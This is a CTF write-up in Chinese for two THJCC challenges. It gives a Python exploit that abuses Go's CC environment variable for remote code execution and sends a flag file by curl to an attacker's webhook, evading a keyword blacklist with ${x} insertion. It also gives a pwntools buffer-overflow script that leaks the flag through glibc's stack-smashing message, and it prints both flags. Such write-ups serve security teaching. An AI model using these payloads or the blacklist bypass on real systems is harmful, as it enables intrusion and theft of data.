/usr/lib/go-1.18/src/runtime/cgo -fPIC -m64 -pthread -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=$WORK/b041=/tmp/go-build -gno-record-gcc-switches -o $WORK/b041/_cgo_.o $WORK/b041/_cgo_main.o $WORK/b041/_x001.o $WORK/b041/_x002.o $WORK/b041/_x003.o $WORK/b041/_x004.o $WORK/b041/_x005.o $WORK/b041/_x006.o $WORK/b041/_x007.o $WORK/b041/_x008.o $WORK/b041/_x009.o $WORK/b041/_x010.o $WORK/b041/_x011.o $WORK/b041/_x012.o $WORK/b041/_x013.o -g -O2 -lpthread # runtime/cgo naup TERM='dumb' /usr/lib/go-1.18/pkg/tool/linux_amd64/cgo -dynpackage cgo -dynimport $WORK/b041/_cgo_.o -dynout $WORK/b041/_cgo_import.go -dynlinker # runtime/cgo naup # runtime/cgo naup # runtime/cgo naup # runtime/cgo naup # runtime/cgo naup # runtime/cgo naup # runtime/cgo naup # runtime/cgo naup # runtime/cgo naup # runtime/cgo naup # runtime/cgo naup # runtime/cgo naup # runtime/cgo naup # runtime/cgo naup # runtime/cgo cgo: cannot parse $WORK/b041/_cgo_.o as ELF, Mach-O, PE or XCOFF
成功RCE,接下來就用curl 或 wget的方式將結果送到webhook就可以解了!(黑名單所有都可以透過在中間塞一個${x}來繞過) 其實 golang官網有提到CC這個環境變數相關資料
image
exploit 另外像是輸出時被換行之類的或是emoji之類的問題就用 base64 + tr -d
解決
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import requestsimport sysdef exploit (): if len (sys.argv) != 2 : print ("Usage: python3 exploit.py <webhook_url>" ) sys.exit(1 ) YOURhost = sys.argv[1 ] url = "http://cha-thjcc.scint.org:20000/mygolang" headers = { "Host" : "cha-thjcc.scint.org:20000" , "Content-Type" : "application/json" , "Connection" : "keep-alive" } data = { "env" : { "CC" : "sh -c \"cu${x}rl " + YOURhost + " -X POST -d $(c${x}at /app/flag.mygo|base64|tr -d '\\n')\"" }, "code" : """ package main import \"C\" func main() { println(\"Naup\") } """ } response = requests.post(url, headers=headers, json=data) print ("Status Code:" , response.status_code) print ("[Success] Check your host!" ) exploit()
Flag: THJCC{MyGo!!!!!https://www.youtube.com/channel/UC80p_16pSSHA8YmtCVdX51w_OuO_ItsMygo!!!!!🎤🎸🎸🥁🎸GolangsFuneral🎹}
🎭🎭🎭🎭🎭Welcome to AVE Mujica🎶 tag: pwn
分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> int main () { setvbuf(stdin , 0 , _IONBF, 0 ); setvbuf(stdout , 0 , _IONBF, 0 ); void *stage; int AVEmujica; char your_input[16 ]; AVEmujica = open("/home/chal/flag" , O_RDONLY); printf ("=====================================================\n" ); printf ("…ようこそ。Ave Mujica の世界へ\n" ); printf ("=====================================================\n" ); if (AVEmujica < 0 ) { printf ("CRYCHIC Funeral\n" ); exit (0 ); } stage = malloc (0x100 ); read(AVEmujica, stage, 0x100 ); printf ("Where is AVE Mujica: %p\n" , stage); printf ("呪縛なの?\n救済なの? " ); gets(your_input); printf ("Ave Musica…戻れない所まで\n" ); return 0 ; }
他malloc一塊chunk並存放AVEmujica(flag) 並且使用者可以輸入一些東西,這裡存在無長度限制的buffer overflow
攻擊 有buffer overflow了但是會碰到很多問題,首先是保護全開 再來是可以寫ret address但是不知道要寫甚麼,ROPgadget不夠,又沒辦法leaklibc
我們只有flag的位置而已
image
這邊觀察一件事,當我們在glibc 2.23觸發stack smashing detect的時候,他會噴出./demo,也就是你ELF的位置
他是去哪裡找到ELF的路徑的
接下來來翻source code
通常如果有開canary會在最下方看到__stack_chk_fail
追進去看會call __fortify_fail
https://elixir.bootlin.com/glibc/glibc-2.23.90/source/debug/stack_chk_fail.c
1 2 3 4 5 6 void __attribute__ ((noreturn )) __stack_chk_fail (void ) { __fortify_fail ("stack smashing detected" ); }
__fortify_fail
會call __libc_message,ELF路徑就是__libc_argv[0]
https://elixir.bootlin.com/glibc/glibc-2.23.90/source/debug/fortify_fail.c#L26
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 void __attribute__ ((noreturn )) internal_function __fortify_fail (const char *msg) { while (1 ) __libc_message (2 , "*** %s ***: %s terminated\n" , msg, __libc_argv[0 ] ?: "<unknown>" ); } ``` 這是一個在stack 上的一個pointer,這裡會印出他指向位置上的值 結合buffer overflow,如果我們能一直往下蓋,把該pointer蓋成flag的位置,就可以透過stack smashing去leak出flag了 PS: 如果認真觀察會發現一件事,原本應該是不會輸出error message給你,但是我把`exec 2 >/dev/null`給拔掉了,所以說錯誤訊息會回顯,因此可以用此方法。 ## script ```python from pwn import * r=remote("cha-thjcc.scint.org" ,10100 ) r.recvuntil(b"Where is AVE Mujica: " ) address = int (r.recvline().strip(),16 ) r.sendline(b' a' *0x10 +p64(address)*200 ) r.interactive()
Flag: THJCC{Welcome_To_AVe_Mujica_CRYCHIC_is_dead_QQ}